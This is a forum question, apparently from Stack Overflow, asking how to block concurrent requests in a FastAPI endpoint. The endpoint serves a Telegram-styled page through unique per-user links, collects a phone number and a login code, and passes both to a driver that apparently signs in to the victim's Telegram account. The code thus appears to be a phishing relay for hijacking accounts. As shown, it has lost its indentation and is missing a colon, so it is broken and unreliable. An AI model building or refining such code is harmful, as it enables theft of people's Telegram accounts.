While this request is being processed by another client, do not let a new one in
type here
@app.post(‘/enter2/{unique_id}’)
async def enter2(unique_id: str, request: Request, phone: str=Form(None), code: str = Form(None)):
check = Check(unique_id)
if check:
print('ok')
with database.Session(autoflush=False, bind=database.engine) as db:
tg_id = db.query(database.Links.userID).filter(database.Links.unique_id==unique_id).first()
print(tg_id)
if request.method=='POST'
print('COOKIE YES')
if phone:
print('block phone')
global res
global phn
print(phone)
res = await driver.sendCode(phone)
phn=phone
if code:
print('Block code')
await driver.driver2(phone=phn, code=code, sCode=res, id=tg_id[0])
cookie = JSONResponse(content={'message':'cookies yes'})
cookie.set_cookie(key='page', value=code)
return cookie
else:
raise HTTPException(status_code=404, detail='Нет доступа')
return FileResponse('templates/Telegram.htm')
are there any built-in mechanisms for this. I will be very grateful for your help
New contributor
NoCode is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.